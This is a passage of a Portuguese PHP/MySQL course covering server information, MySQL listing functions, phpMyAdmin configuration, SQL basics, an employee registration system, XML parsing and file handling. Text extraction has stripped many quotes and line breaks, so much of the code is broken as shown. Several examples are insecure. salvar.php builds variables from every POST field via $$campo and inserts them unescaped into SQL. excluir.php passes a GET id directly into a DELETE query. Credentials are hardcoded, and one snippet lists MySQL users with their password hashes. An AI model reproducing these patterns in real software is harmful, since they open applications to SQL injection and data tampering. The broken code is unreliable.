  • 51. // Assumindo que as tags acima estão em www.example.com$tags = get_meta_tags(http://www.example.com/);print $tags[author]; // nameprint $tags[keywords]; // php documentationprint $tags[description]; // a php manualprint $tags[geo_position]; // 49.33;-86.59Pegar o nome do navegador e a versão$_SERVER["HTTP_USER_AGENT"];no navegador Internet Explorer ficara assim:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)no navegador mozilla Firefox:Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20040913 Firefox /0.10Em no Internet explorer ele mostra MSIE 6.0 e no Mozilla Firefox /0.10nome e versãoPegando O endereço da página da onde veio o visitanteecho $_SERVER["HTTP_REFERER"];O endereço da página (se houver) através da qual o agente do usuário acessou a página atual.Essa diretiva é informada pelo agente do usuário. Nem todos os browsers geram esse header,e alguns ainda possuem a habilidade de modificar o conteúdo do HTTP_REFERER comorecurso. Em poucas palavras, não é confiável.Para pegar a resolução do monitorusaremos javascript porque o php nao roda do lado do cliente e sim no servidor
  • 52. <script language="javascript">document.write("Resolucao : ",screen.width,"x",screen.height,"<p>");</script>Para pegar o total de espaço em disco no servidor$kb = 1024; // Kilobyte$mb = 1024 * $kb; // Megabyte$gb = 1024 * $mb; // Gigabyte$tb = 1024 * $gb; // Terabyte$espaco_total = disk_total_space("/");$total_disco = round($espaco_total / 1024000, 2);$disco = diskfreespace("/");$espaco_livre = round($disco / 1024000, 2);Para pegar versões do PHP e Mysql e Apachemysql_get_server_info();phpversion();$_SERVER["SERVER_SOFTWARE"];Você pode formatar o resultado que melhor visualização exemplo:$versao_mysql = preg_replace("/[^0-9.]/", "", mysql_get_server_info());$versao_php = phpversion();$programa_servidor = $_SERVER["SERVER_SOFTWARE"];$programa_servidor = strtok($programa_servidor, " ");echo "Mysql $versao_mysql<br />";echo "PHP $versao_php<br />";echo str_replace("/", " ", $programa_servidor);strtok() divide uma string (arg1) em strings menores (tokens), com cada token sendodelimitado porqualquer caractere de arg2. Quer dizer que, se você tem uma string como "Esta é uma stringde exemplo" vocêpoderia "tokenizá-la" em suas palavras individuais usando o caractere de espaço como
  • 53. delimitador do token.Para ver se o php esta sendo executado como modulo ou cgi:$sapi_type = php_sapi_name();if ($sapi_type == "cgi"){ print "Você esta usando CGI PHPn";}else{ print "Você não esta usando CGI PHPn";}Exibindo o status do mysql:$status = explode( , mysql_stat($cn));print_r($status);Dicas diversas sobre funções php para usar com MysqlPara pegar o nome e a senha de acesso ao MysqlCalma pessoal isso não tem nada haver com dicas hackers é apenas para mostrar para quemnão conhece queo mysql tem um banco dentro da pasta data chamado mysql onde ele guarda as informaçõesde usuarios, senhas, privilégios, helps, informações doservidor, etc...mysql_connect("localhost", "usuario", "senha");mysql_select_db("mysql");$re = mysql_query("SELECT user,password,host FROM user");//listando todos os usuarios e senhas de acesso ao mysql cadastradoswhile($l = mysql_fetch_array($re)){ echo $l["user"]."<br />"; echo $l["password"]."<br />";}
  • 54. Listando todos os banco de dados do servidor mysql:mysql_connect("localhost", "usuario", "senha");$db_list = mysql_list_dbs();$cnt = mysql_num_rows($db_list);for($i = 0; $i < $cnt; $i++){ echo mysql_db_name($db_list, $i) . "<br />n";}outra maneira de listar os bancos:mysql_connect("localhost", "usuario", "senha");$db_list = mysql_list_dbs();while ($row = mysql_fetch_object($db_list)) { echo $row->Database . "<br />n";}Listando todas tabelas de um banco:mysql_connect("localhost", "usuario", "senha");$result = mysql_list_tables("banco");for ($i = 0; $i < mysql_num_rows($result); $i++){ echo "Tabelas: ". mysql_table_name($result, $i)."<br />";}Listando todos os campos de uma tabela:$cn = mysql_connect("localhost", "usuario", "senha");$fields = mysql_list_fields("banco", "tabela", $cn);$columns = mysql_num_fields($fields);for ($i = 0; $i < $columns; $i++) { echo mysql_field_name($fields, $i) . "<br />";}
  • 55. Pegando toda informação de cada campo de uma tabelamysql_select_db("banco");$result = mysql_query("select * from tabela");$i = 0;while ($i < mysql_num_fields($result)) { echo "Informação para a coluna $i:<br />n"; $meta = mysql_fetch_field($result,$i); if (!$meta) { echo "Informação não disponivel<br />n"; } echo "<pre>blob: $meta->blobmax_length: $meta->max_lengthmultiple_key: $meta->multiple_keyname: $meta->namenot_null: $meta->not_nullnumeric: $meta->numericprimary_key: $meta->primary_keytable: $meta->tabletype: $meta->typeunique_key: $meta->unique_keyunsigned: $meta->unsignedzerofill: $meta->zerofill</pre>"; $i++;}$result = mysql_query("SELECT * FROM tabela");$fields = mysql_num_fields($result);$rows = mysql_num_rows($result);$table = mysql_field_table($result, 0);echo "A tabela ".$table." tem ".$fields." colunas e ".$rows." linhas(s)<br />";echo "A tabela tem esses campos:<br />";for ($i=0; $i < $fields; $i++) {$type = mysql_field_type($result, $i);$name = mysql_field_name($result, $i);$len = mysql_field_len($result, $i);$flags = mysql_field_flags($result, $i);echo $type." ".$name." ".$len." ".$flags."<br />";}mysql_free_result($result);mysql_close();
  • 56. Pegando o conjunto de caracteres do mysqlmysql_client_encoding -- Retorna o nome do conjunto de caracteres$charset = mysql_client_encoding($cn);printf ("Conjunto atual de caracteres é %sn", $charset);uma dica importante use mysql_unbuffered_query() no lugar do mysql_query()quando for necessárioexemplo:mysql_connect("localhost", "Fabyo", "gisele");mysql_select_db("banco");$re = mysql_unbuffered_query("Select * from tabela");while($l = mysql_fetch_array($re)){echo $l["campo"];}mysql_unbuffered_query() envia uma query SQL para MySQL, sem retornar e colocar embuffer as linhas do resultado automaticamente, como mysql_query() faz. por um lado, istosalva uma quantidade considerável de memória em query que produzem um resultadograndes. por outro lado, você pode começãr a trabalhar com o resultado imediatamente apósa primeira linha ser retornada: você não tem que esperar que toda a query SQL seja realizada.Quando usar multiplas conexões com o banco de dados, você deve especificar o parametroopcional link_identifier.Nota: Os beneficios de mysql_unbuffered_query() vem com um custo: você não pode usarmysql_num_rows() e mysql_data_seek() no resultado retornado pormysql_unbuffered_query(). Você também tem que pegar todas as linhas de uma query SQLsem buffer antes de poder enviar uma nova query SQL para o MySQL.mysql_escape_string -- Escapa uma string para uso com o mysql_query.Esta função irá escapar o texto assim será seguro coloca-la na função mysql_query() evitandosql_injection
  • 57. Dicas basicas sobre configuração do phpMyAdminOnde baixar phpMyAdminO que é phpMyAdmin?o phpMyAdmin é um script feito em php para gerenciar o banco de dados mysqlcom o phpMyAdmin você consegue criar banco de dados, criar tabelas,campose editar salvar e excluir , fazer consultas e otimizar e reparar o banco, importar e exporar obanco, etc...depois que você baixou o phpMyAdmin entre no config.inc.phpe ache essas linhas:$cfg[Servers][$i][user] = root; // MySQL user$cfg[Servers][$i][password] = ; // MySQL password (only neededmude para seu usario e senha do mysqlentre no php.ini e descomente essa linha:extension=php_mbstring.dllreinicie o apachese você quiser acessar o seu phpMyAdmin usando Autenticação HTTPvocê pode só entrar no config.inc.php e ache essa linha e mudar para http:$cfg[Servers][$i][auth_type] = http; // Authentication method (config, http orcookie based)?dai quando você for entrar no phpMyAdmin ele ira pedir nome e senhase for usar as funções novas do mysql o (mysqli) mude essa linha:$cfg[Servers][$i][extension] = mysqli; // The php MySQL extension to use (mysql ormysqli)se desejar que apareça apenas 1 banco para ser acessado pelo phpMyAdminmude essa linha:
  • 58. $cfg[Servers][$i][only_db] = ; // If set to a db-name, onlye coloco o nome do banco que você querSQLStructured Query LanguageLinguagem Estruturada de ConsultaSQL não é uma linguagem para se desenvolver sistemas e sim para facilitar o acesso deinformações, por meios de consultas, atualizações e manipulações de dados armazenados embancos de dados do tipo relacional.um banco de dados do tipo relacional armazena os dados e informações em tabelas que sãoformadas por linhas e colunas.Atualmente os programas de gerenciamento de banco de dados (SGDB - Sistema deGerenciamento de Banco de Dados) utilizam o SQL para consultas e manuseio de dados, mascom pequenas diferenças entre cada SGBDem funções e melhorias mas o principal é a sintaxe SQL em todos eles como padrão.O SQL foi criado pela empresa IBM (Internacional Business Machine) sua primeira versão foicriada em 1974, com o nome de Structured English Query Language(SEQUEL).A Linguagem SQL é composta por dois grupos de instruções utilizadas no processode administração e controle de bancos de dados o DDL (Data Definition Language )Linguagem de Definição de Dados e DML (Data Manipulation Language) Linguagem deManipulação de Dados.As instruções do tipo DDl permite efetuar a criação das estruturas de tabelas, índices e bancosde dados como um todo, permite também efetuar auterações nas estruturas criadas, eremover estruturas.Nesse grupo estão as instruções:CREATE TABLE, DROP TABLE, ALTER TABLE, CREATE INDEX e DROP INDEX.As instruções do tipo DML permitem efetuar a manipulação dos dados que estejamarmazenados nas tabelas de um determinado banco, dessa forma é possivel cadastrar, alterar,e excluir registros , nesse grupo se encontra:INSERT, SELECT, UPDATE e DELETE.De todos os comando existentes o comando SELECT é o mais importante e utilizado, pois écom ele que se obtém a extração de lista de informações.Os comando do tipo DML possuem uma grande variedades de aplicação.Para que isso ocorra, eles operam com um grande conjunto de cláusulasFROM, WHERE, GROUP BY, HAVING e ORDER BY predefinidos que permitem efetuar aaplicação de condições que autera a forma de funcionamento
  • 59. Chave PrimariaO conceito de chave primária (ID) ou (PK) chave primaria em inglês ,está associado ao campoou conjunto de campos de uma tabela que possuirá um único valor, que não será repetido.Chave EstrangeiraChave Estrangeira (FK) caracteriza-se por ser uma chave de uma tabela que possui associaçãocom chave primária de outra tabela.Integridade referencial é um mecanismo utilizado que evita a quebra de ligação entre osrelacionamentos estabelecidos entre as tabelasapesar do mysql ainda nao ter esse recurso como padrão nós podemos montara integridade referencial atraves do php ,como voc^vai ver no script de cadastro defuncionarios no final do curso.Criando um banco no mysql:CREATE DATABASE bancoCriando a tabela:CREATE TABLE tabela(campo tipo NULL/NOT NULL DEFAULT valorAUTO_INCREMENT PRIMARY KEY);NULL e NOT NULL = é definição de um campo em aceitar ou não valores nulosDEFAULT valor = permite determinar um valor padrão para o campoAUTO_INCREMENT = determina se o campo será preenchido automaticamentevale apenas para campos que aceitam valores inteirosPRIMARY KEY = determina qual será a chave primária da tabelatipos de campos = o SQL trabalha com diversos tipos de dados mas com 3 grupos distintos(tiponuméricos, tipo temporal e tipo literal).tipos numericos podem ser utilizados no tratamento de valores numericos inteiros ou reais:SMALLINT = -32.768 até 32.767 pode ser usado um campo sem sinal (unsigned)aumentando o tamanho para 255 positivoINTEGER = -2.17.483.648 até 2.147.483.674 também pode usar unsignedFLOAT = 3,4* 10 -³ até 3,4 * 10 ³DECIMAL = Campo usado para guardar valores monetariosNUMERIC,DOUBLETipos temporal
  • 60. O tipos temporal pode ser utilizado para o tratamento de valores relacionados a data e horaDATE = Utilizado para guardar data no padrão AAAA-MM-DDTIME = Utilizado para guardar horaDATETIME = Utilizado para guardar data e hora juntoTipo literalO tipo literal pode ser usado na recepção de valores baseados em cadeias de caracteres(strings) dados alfa numericosVARCHAR = caracter variavelCHAR = caracter fixoTEXT = para guardar textos grandesnão entrarei mais em detalhes sobre esse assunto porque está para extreiar o novo cursoonline de MYSQL então qualquer duvidas sobre esse assunto aguarde o cursoMontando um sistema de cadastro de funcionarioscriando uma tabela de funcionarios:<?mysql_query("CREATE TABLE funcionarios ( id SMALLINT UNSIGNED NOT NULL AUTO_INCREMENT , nome VARCHAR( 40 ) NOT NULL , endereco VARCHAR( 64 ) NOT NULL , rg VARCHAR( 10 ) NOT NULL , cpf CHAR( 11 ) NOT NULL , data_registro DATE NOT NULL , fk_cargo SMALLINT UNSIGNED NOT NULL , salario DECIMAL( 10, 2 ) NOT NULL , casado SET( S, N ) NOT NULL , dependentes SET( S, N ) NOT NULL , data_nasc DATE NOT NULL , PRIMARY KEY ( id ))");?>criando a tabela de cargos:<?mysql_query("CREATE TABLE cargos ( id SMALLINT UNSIGNED NOT NULL AUTO_INCREMENT, cargo VARCHAR(40) NOT NULL, PRIMARY KEY (id)
  • 61. )");?>no cadastro tem um combo preenchido com os dados de um banco de dados(cargos)cadastro.php:<html><head><title>Cadastro</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"></head><body><form name="form1" method="post" action="salvar.php"> <table width="200" border="0" align="center"> <tr> <td>Nome</td> <td><input name="nome" type="text" id="nome" maxlength="40"></td> </tr> <tr> <td>Endere&ccedil;o</td> <td><input name="endereco" type="text" id="endereco" maxlength="64"></td> </tr> <tr> <td>RG</td> <td><input name="rg" type="text" id="rg" maxlength="10"></td> </tr> <tr> <td>CPF</td> <td><input name="cpf" type="text" id="cpf" maxlength="11"></td> </tr> <tr> <td>Cargo</td> <td><select name="cargos" id="cargos"> <option value="Selecione">Selecione</option><? mysql_connect("localhost", "Fabyo","gisele"); mysql_select_db("banco"); $re = mysql_query("SELECT * FROM CARGOS"); while($l = mysql_fetch_array($re)) { $id = $l["id"];
  • 62. $cargo = $l["cargo"]; echo "<option value="$id">$cargo</option>"; } ?> </select></td> </tr> <tr> <td>Salario</td> <td><input name="salario" type="text" id="salario"></td> </tr> <tr> <td>Casado(a)</td> <td><input name="casado" type="checkbox" id="casado" value="S"> Sim</td> </tr> <tr> <td>Dependentes</td> <td><input name="dependentes" type="checkbox" id="dependentes" value="S"> Sim</td> </tr> <tr> <td>Data Nasc. </td> <td><input name="data_nasci" type="text" id="data_nasci" size="10"maxlength="10"></td> </tr> <tr> <td>&nbsp;</td> <td><input type="submit" name="Submit" value="Salvar"></td> </tr> </table></form></body></html>O salvar.php é onde será recebido os dados digitados pelo usuarioentão recomendo você proteger os dados e filtrar para passar somente o esperadoexemplo:usando stript_tags() você tira as tags html ,dai o usuario mal intencionado não poderáprejudicar seu banco de dados com comandos html e javascriptis_numeric() = use para validar campos numericosempty() use para validar campos vazioscheckdate() use para validar datasmysql_escape_string Escapa uma string para uso com o mysql_query.
  • 63. e proteja os dados tambem com javascript muito util para validar campos antes de enviarprocure por funções que validam cpf, cnpj, emails etc... ou faça você mesmoevite gravar dados repetidos antes de gravar faça uma busca se nao existir o dados dai simvocê deixa gravar , e sobre integridade relacional é quando você por exemplo grava umfuncionario com cargo "ajudante" ,dai depois você quer excluir o cargo "ajudante" da tabelacargos, por logica não poderia ja que esse campo foi gravado como indicação para ofuncionario dai nao teria logica ele ser "ajudante" se o campo não existe mais ,e como o mysqlnão tem esse recurso automatico você pode montar um é simples basta antes de executar aexclusão você fazer uma pesquisa se esse campos esta gravado em algum lugar da tabelafuncionarios dai se não tiver você deixa excluir se tiver você da uma mensagem dizendo queesse campos não pode ser excluido pois existe um relacionamento com ele.dica final = nunca esqueça de validar os campos nem sempre a pessoa vai digitar o que vocêespera que ela digite.salvar.php:<?// seto as variaveis = N pq se o checbox nao for marcado ele nao existira//entao sera gravado a opcao N = NAO, se o checbox for marcado será salvo S$casado = "N";$dependentes = "N";//aqui pego todos os dados e aina crio a variavel com o mesmo nome e tiro as tags htmlforeach ($_POST as $campo => $valor) { $$campo = strip_tags($valor);}mysql_connect("localhost");mysql_select_db("banco");mysql_query("INSERT INTO funcionarios VALUES (, $nome, $endereco, $rg, $cpf, NOW(),$cargos, $salario, $casado, $dependentes, $data_nasci)");mysql_close();echo "salvo com sucesso";?>opcoes você pode listar os funcionarios junto com as opções de editar e excluir usando o idopcoes.php
  • 64. <? mysql_connect("localhost"); mysql_select_db("banco"); $re = mysql_query("SELECT * FROM funcionarios"); while($l = mysql_fetch_array($re)) { $id = $l["id"]; $nome = $l["nome"]; echo "<a href="excluir.php?id=$id">Excluir</a> | <a href="editar.php?id=$id">Editar</a>$nome<br />"; }?>excluir.php<? mysql_connect("localhost"); mysql_select_db("banco"); $id = $_GET["id"]; mysql_query("DELETE FROM funcionarios WHERE id= $id"); header("Location: opcao.php");?>Agora pra quem quiser acabar esse sistema de cadastro de funcionários fica como parte dosexercicios, no modulo passado eu dei um sistema completo com editar excluir e salvar casotenham duvidas só pesquisar nelemas quem está acompanhando consegue ver que está ficando facil e não é dificil acabar essesistema falta só o editar, listar ,criar um formulario pra salvar os cargos, e se quiser ainda podeusar as dicas que eu dei acima e proteger o sistema contra exclusão de dados relacionados evalida os camposquem quiser fazer e entregar ele será avaliado e corrigidosó avisando pra quem não sabe o melhor usuario que esti er acompanhando as aulas eparticipando dos exercicios ganhará um prêmio surpresa e seu nome ficara numa lista dos queconcluiram o curso com sucesso, ficando até como referencia para vocês caso precisemmostrar para algum cliente ou até seu futuro chefe o seu conhecimento em php.
  • 65. Modulo 8Introduçãoo O que é XML?o Usando PHP com XMLo O que é um parser DOM?o Funções de Memória CompartilhadaO que é XML?XML (Extension Markup Language) é uma linguagem de marcação de documentos e permiteque você crie seus próprios conjuntos de elementos de marcação.A XML faz o que seria a verdadeira função de uma linguagem de marcação, que é descreverum documento,e nãocomo ele deve ser exibido.Com marcação personalizada da XML torna-se possivel aestruturação de dados , queposteriormente poderão ser recuperados facilmente e utilizados de varias maneiras.XML é um padrão definido pela The World Wide Web consortium (W3C). Informações sobreXML e tecnologias relacionadas pode, ser encontradas emhttp://www.w3.org/xml/exemplo de um documento XML:<?xml version="1.0"?><livraria> <livro> <titulo>Aprenda PHP</titulo> <preco>R$ 40.00</preco> <autor>Jose da Silva</autor> </livro> <livro> <titulo>Aprenda ASP</titulo> <preco>R$ 50.00</preco> <autor>Manuel</autor> </livro> <livro> <titulo>Aprenda JAVA</titulo> <preco>R$ 80.00</preco> <autor>Francisco</autor> </livro></livraria>
  • 66. Usando PHP com XMLxml_set_element_handler() = Eventos elementares são emitidos toda vez que o analisadorXML o início ou o fim das tags. Há manipuladores (handlers)separadores para tags de início e tags de fim.xml_set_character_data_handler() = Dados de caractere são aproximadamente todo oconteúdo de documentos XML, incluindo espaços em brancoentre as tags. Note que o analisador XML não adiciona ou remove qualquer espaço em branco,ele está pronto para a aplicação se você decidir queespaços em branco são significativos.xml_set_processing_instruction_handler() = Programadores de PHP já estariam familiarizadoscom instruções de processo (PIs). <?php ?> é umainstrução de processo, onde php é chamada de o "PI target". O tratamento destes sãoapplication-specific, exceto que todos os PI targets iniciados com "XML"estão reservados.xml_set_default_handler() = O que não vai para outro manipulador vai para o manipuladorpadrão. Você conseguirá coisas como o XML e declarações do tipode documento no manipulador padrão.xml_set_unparsed_entity_decl_handler() = Este manipulador será chamado por umadeclaração de um entity não analisada (NDATA).xml_set_notation_decl_handler() = Este manipulador é chamado pela declaração de umanota.xml_set_external_entity_ref_handler() = Este manipulador é chamado quando o analisadorXML encontra uma referência para uma entity geral analizadaexternamente. Isto pode ser uma referência para um arquivo ou URL, por examplo. Veja Umexemplo de entity externa para uma demonstração.Codificação de CaracterA Extensão XML do PHP suporta o caracter Unicode definido por character encodings(codificação de caracteres) diferentes. Há dois tipos de codificação de caracteres,source encoding e target encoding. A apresentação interna do PHP do documento é semprecodificada com UTF-8.Source encoding é feita quando um documento XML é analisado. Em criando um analisadorXML, um source encoding pode ser especificado (Esta codificação não poderá sermudada após o tempo de vida do analisador XML). As codificações suportadas são ISO-8859-1,US-ASCII e UTF-8. O segundo são codificações single-byte, que significa quecada caractere é representado por um byte simples. UTF-8 pode codificar caracterescompostos por um número de bits variável (acima de 21) em um de seus 4 bytes. O source
  • 67. encoding padrão utilizado pelo PHP é ISO-8859-1.Target encoding é feito quando o PHP passa dados para as funções do analisador XML. Quandoum analisador XML é criado, o target encoding é definido igual ao source encoding,mas este pode ser mudado em qualquer ponto. O target encoding afetará dados de caractertão bem como nome de tags e processando alvos da instrução.Se o analisador XML encontra caracteres de fora da linha que seu source encoding é capaz dedetalhar, ele retornará um erro.Se PHP encontra caracteres no documento XML analisado que não podem ser detalhadosselecionados com target encoding, os caracteres com problema serão "demoted". Atualmente,istosignifica que tais caracteres serão substituidos por um sinal de interrogação.Listando o conteudo de um documento XML:exemplo:<html><head><title>Livros</title></head><body><h3>Livros</h3><?function tag_inicial($parser, $elemento){ if($elemento != "LIVRARIA") { if($elemento == "LIVRO") { echo "<ul>"; } else { echo "<li>$elemento : "; } }}function tag_final($parser, $elemento){ if($elemento != "LIVRARIA") {
  • 68. if($elemento == "LIVRO") { echo "</ul>"; } else { echo "</li>"; } }}function trata_caracter($parser, $dados){ echo $dados;}$xml_parser = xml_parser_create();xml_set_element_handler($xml_parser, "tag_inicial", "tag_final");xml_set_character_data_handler($xml_parser, "trata_caracter");if(file_exists("livros.xml")){ $fp = fopen("livros.xml", "r"); while($dados = fread($fp, 4096)) { xml_parse($xml_parser, $dados, feof($fp)); }xml_parser_free($xml_parser);}?></body></html>exemplo2manual do php:<?php$file = "livros.xml";function startElement($parser, $name, $attribs) { echo "&lt;<font color="#0000cc">$name</font>"; if (sizeof($attribs)) { while (list($k, $v) = each($attribs)) {
  • 69. echo " <font color="#009900">$k</font>="<font color="#990000">$v</font>""; } } echo "&gt;";}function endElement($parser, $name) { echo "&lt;/<font color="#0000cc">$name</font>&gt;";}function characterData($parser, $data) { echo "<b>$data</b>";}function PIHandler($parser, $target, $data) { switch (strtolower($target)) { case "php": global $parser_file; if (trustedFile($parser_file[$parser])) { eval($data); } else { printf("Untrusted PHP code: <i>%s</i>", htmlspecialchars($data)); } break; }}function defaultHandler($parser, $data) { if (substr($data, 0, 1) == "&" && substr($data, -1, 1) == ";") { printf(<font color="#aa00aa">%s</font>, htmlspecialchars($data)); } else { printf(<font size="-1">%s</font>, htmlspecialchars($data)); }}function externalEntityRefHandler($parser, $openEntityNames, $base, $systemId, $publicId) { if ($systemId) { if (!list($parser, $fp) = new_xml_parser($systemId)) { printf("Could not open entity %s at %sn", $openEntityNames, $systemId);
  • 70. return false; } while ($data = fread($fp, 4096)) { if (!xml_parse($parser, $data, feof($fp))) { printf("XML error: %s at line %d while parsing entity %sn", xml_error_string(xml_get_error_code($parser)), xml_get_current_line_number($parser), $openEntityNames); xml_parser_free($parser); return false; } } xml_parser_free($parser); return true; } return false;}function new_xml_parser($file) { global $parser_file; $xml_parser = xml_parser_create(); xml_parser_set_option($xml_parser, XML_OPTION_CASE_FOLDING, 1); xml_set_element_handler($xml_parser, "startElement", "endElement"); xml_set_character_data_handler($xml_parser, "characterData"); xml_set_processing_instruction_handler($xml_parser, "PIHandler"); xml_set_default_handler($xml_parser, "defaultHandler"); xml_set_external_entity_ref_handler($xml_parser, "externalEntityRefHandler"); if (!($fp = @fopen($file, "r"))) { return false; } if (!is_array($parser_file)) { settype($parser_file, "array"); } $parser_file[$xml_parser] = $file; return array($xml_parser, $fp);}if (!(list($xml_parser, $fp) = new_xml_parser($file))) { die("could not open XML input");}echo "<pre>";while ($data = fread($fp, 4096)) { if (!xml_parse($xml_parser, $data, feof($fp))) {
  • 71. die(sprintf("XML error: %s at line %dn", xml_error_string(xml_get_error_code($xml_parser)), xml_get_current_line_number($xml_parser))); }}echo "</pre>";xml_parser_free($xml_parser);?>xml_error_string -- Obtém uma string de erro do analisador XMLxml_get_current_byte_index -- Obtém o índice do byte atual para um analisador XMLxml_get_current_column_number -- Obtém o número da coluna atual para um analisadorXMLxml_get_current_line_number -- Obtém o número da linha para um analisador XMLxml_get_error_code -- Obtém um código de erro do analisador XMLxml_parse_into_struct -- Analisa dados XML dentro de uma estrutura de arrayxml_parse -- Inicia a análise em um documento XMLxml_parser_create_ns -- Cria um analisador XML com suporte a namespace (uma estrutura doXML)xml_parser_create -- cria um analisador XMLxml_parser_free -- Free an XML parserxml_parser_get_option -- Get options from an XML parserxml_parser_set_option -- Set options in an XML parserxml_set_character_data_handler -- Set up character data handlerxml_set_default_handler -- Set up default handlerxml_set_element_handler -- Set up start and end element handlersxml_set_end_namespace_decl_handler -- Set up end namespace declaration handlerxml_set_external_entity_ref_handler -- Set up external entity reference handlerxml_set_notation_decl_handler -- Set up notation declaration handlerxml_set_object -- Use XML Parser within an objectxml_set_processing_instruction_handler -- Set up processing instruction (PI) handlerxml_set_start_namespace_decl_handler -- Set up start namespace declaration handlerxml_set_unparsed_entity_decl_handler -- Set up unparsed entity declaration handlerO que é um parser DOM?Existe 2 formas de criar um parser para analisar documentos XML, a primeira você ja viu acimae se chama SAX, a outra auternativa é utilizando o modelo DOM(Document Object Model)nesse modelo é criadouma estrutura de representação em árvore, permitindo que programas e scripts auteremdinamicamente seu conteudomais informações em www.w3c.org/dom
  • 72. Usando o SAX ou DOM você obterá o mesmo resultado, a diferença está apenas na questão dedesempenhoe acessibilidade.Em relação a velocidade o SAX apresenta um melhor desempenho, visto que o parser DOMprecisa criar uma árvore completoa com todosos dados do documento XMLMas por outro lado o parser DOM tem a vantagem de ser mais flexivel no que diz respeitoacessibilidade de dadosparser DOM é um modulo experimental, mais detalhes www.php.net/ref.domxml.htmlFunções de Memória CompartilhadaShmop é um fácil caminho para usar funções que permitem o PHP ler, escrever, criar e deletarsegmentos de memória compartilhada UNIX.Note que versões do Windows anteriores ao Windows 2000 não suportam memóriacompartilhada.obs: precisa descomentar a linha extension=php_shmop.dll no php.iniexemplo:<?php// Cria 100 byte num pedaço da memoria$memoria_id = shmop_open(0xff3, "c", 0644, 100);if(!$memoria_id) { echo "Não foi possivel criar a repartição da memorian";}// Pega pedaço da memoria criada$memoria_size = shmop_size($memoria_id);echo "Foi criado: $memoria_size bytes na memoria com sucesso<br>";// Escrever frase na memoria$grava_memoria = shmop_write($memoria_id, "meu teste de memoria", 0);//Testa se nao tiver escrito o texto na memoriaif($grava_memoria != strlen("meu teste de memoria")) { echo "Nao foi possivel gravar na memorian";}// Ler frase na memoria$meu_texto = shmop_read($memoria_id, 0, $memoria_size);if(!$meu_texto) { echo "Nao foi possivel ler da memorian";}echo "Minha frase gravada na memoria é : $meu_texto";
  • 73. //Agora apago da memoriaif(!shmop_delete($memoria_id)) { echo "Apagado com sucesso.";}shmop_close($memoria_id);?>
  • 74. Modulo 9Introduçãoo Manipulação de arquivos textoo Funções do PHP para manipulação de arquivoso Criando um mural de recados em arquivos textoo Expressões Regulares (E.R.)Manipulação de arquivos textoMuitas vezes precisamos guardar dados simples, e por isso não teria a necessidade de umSGBD Basta um arquivo de texto, sendo esse modo mais simples e rápido que um SGBD.Só lembrando que se tratando de um arquivo de texto ele torna seu sistema mais frágil e semsegurança Como por exemplo, qualquer pessoa pode abrir o arquivo de texto e examinar tudoque tem dentro dele, ou até mesmo apagar ele.Sem contar também que o arquivo de texto tem que ser usado para escrita num modoexclusivo se não fizer isso pode perder dados já que duas pessoas ou mais estiverem usandoum sistema em base de texto e na hora de gravar elas não podem gravar ao mesmo tempo,por isso você terá que criar uma proteção para o arquivo na hora de gravar e liberar quandonão estiver gravando, um exemplo desse tipo de falha é o banco acess antigo.Essa função de proteção do arquivo para escrita e outras vocês vão ver logo mais nesse curso.E sobre o que eu falei de segurança e fragilidade dos arquivos texto não é querendo tedesencorajar a usar arquivos textos, pelo contrário.É só um aviso importante que você precisava saber antes de começar a manipular arquivostextos, muitos sistemas usam base de texto para guardar dado ou até configurações dosistema, enquetes simples, contadores de acesso ou visitas ou clicks, equipamentos comomicro terminais, catracas eletrônicas, sistemas de telefonia, etc..., como você pode ver muitossistemas ou equipamentos usam base em arquivos de texto.Eu posso citar um exemplo as catracas eletrônicas, não conheço todas as marcas mas a marcaWilbor usa base de textos e ela grava o número do cartão do funcionário, data e hora deentrada ou saída, para que o sistema do RH possa colher esses dados e controlar as faltas dofuncionário e fazer o pagamento com horas extras etc..., outro sistema muito usado econhecido em grandes empresas é um sistema de PABX que controla as ligações da empresainteira como quem ligou e pra onde, data, horário, fazendo um relatório completo das ligaçõesde entrada e saída da empresa, e esse sistema também usam base de textos não digo todos,mas a maioria como por exemplo, da marca Intelbras.Por isso é bom você saber manipular arquivos de texto caso algum dia precise.Eu por exemplo fiz um sistema completo para colher os dados de uma catraca eletrônica daempresa em que eu trabalho , já que o próprio sistema que vem com ela é muito simples elimitado, da pra falar de muito mais utilidades de usar arquivos de texto, mas vou parar poraqui.Obs.: Não estou falando em nenhum momento que uma base em arquivo de texto é melhorque um SGBD só estou falando as utilidades e vantagens de usar base de texto Sem compararcom SGBD.
  • 75. Abertura de um arquivo de textofopenfopen Abri um arquivo ou uma URL www.php.net/fopenDescriçãoresource fopen ( string filename, string mode [, int use_include_path [, resource zcontext]])mode Descriçãor Abre somente leitura; coloca o ponteiro do arquico no começo do arquivo.r+ Abre para leitura e escrita; coloca o ponteiro do arquivo no começo do arquivo.w Abre para escrita somente; coloca o ponteiro do arquivo no começo do arquivo e diminui(trunca) o tamanho do arquivo para zero. Se o arquivo não existe, tenta criá-lo.w+ Abre o arquivo para leitura e escrita; coloca o ponteiro do arquivo no começo e diminui(trunca) o tamanho do arquivo para zero. Se o arquivo não existe, tenta criá-lo.a Abre para escrita somente; coloca o ponteiro do arquivo no final. Se o arquivo não existe,tenta criá-lo.a+ Abre o arquivo para leitura e escrita; coloca o ponteiro do arquivo no final. Se o arquivonão existe, tenta criá-lo.x Cria e abre o arquivo para escrita somente; coloca o ponteiro no início do arquivo. Se oarquivo já existe, a chamada a fopen() irá falhar, retornando FALSE e gerando um erro nívelE_WARNING. Se o arquivo não existe, tenta criá-lo. Isto é o equivalente a informar as flagsO_EXCL|O_CREAT numa chamada a open(2). Esta opção é suportada no PHP 4.3.2 eposteriores, e somente funciona em arquivos locais.x+ Cria e abre um arquivo para escrita e leitura; coloca o ponteiro do arquivo no início. Se oarquivo já existe, a chamada a fopen() irá falhar, retornando FALSE e gerando um erro nívelE_WARNING. Se o arquivo não existe, tenta criá-lo. Isto é o equivalente a informar as flagsO_EXCL|O_CREAT numa chamada a open(2). Esta opção é suportada no PHP 4.3.2 eposteriores, e somente funciona em arquivos locais.O Windows oferece uma flag de tradução do modo texto (t) que traduz,transparentemente, n pararn quando trabalhando no arquivo. Em contraste, você tambémpode utilizar b para forçar o modo binário, que não irá traduzir o arquivo. Para usar essasflags, informe ou b ou t como o último caracter no parâmetro mode.O modo do sistema de tradução default depende da versao da SAPI sob o qual você estáusando o PHP, então é encorajado a sempre utilizar a flag apropriada por razões deportabilidade. Você deve usar o modo t se estiver trabalhando em arquivos texto simples 